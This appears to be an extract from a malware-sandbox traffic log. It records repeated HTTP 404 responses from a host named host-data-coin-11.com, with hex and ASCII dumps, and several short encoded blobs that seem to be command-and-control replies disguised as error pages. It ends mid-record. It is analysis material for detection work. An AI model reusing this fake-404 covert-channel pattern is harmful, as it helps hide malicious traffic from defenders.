Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fI:82OI%70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevg]fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 99 d6 08 56 3d 41 be f5 dc fc fb 49 f5 53 d2 31 f9 53 47 91 0d 0a 30 0d 0a 0d 0a Data Ascii: 27I:82OV=AIS1SG0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 96 d3 08 55 3b 43 be f4 d4 fc fc 43 eb 1e d1 6d bc 19 74 b6 50 a1 b9 70 b8 7b 07 50 b9 e1 d9 0d 0a 30 0d 0a 0d 0a Data Ascii: 32I:82OU;CCmtPp{P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevCN=fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 49 eb ab 85 70 bc 57 dd 40 d7 fe 26 83 22 eb c3 93 58 28 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9IpW@&"X(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 99 d6 08 56 3d 41 be f5 dc fc fb 49 f5 53 d2 30 f9 53 47 91 0d 0a 30 0d 0a 0d 0a Data Ascii: 27I:82OV=AIS0SG0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 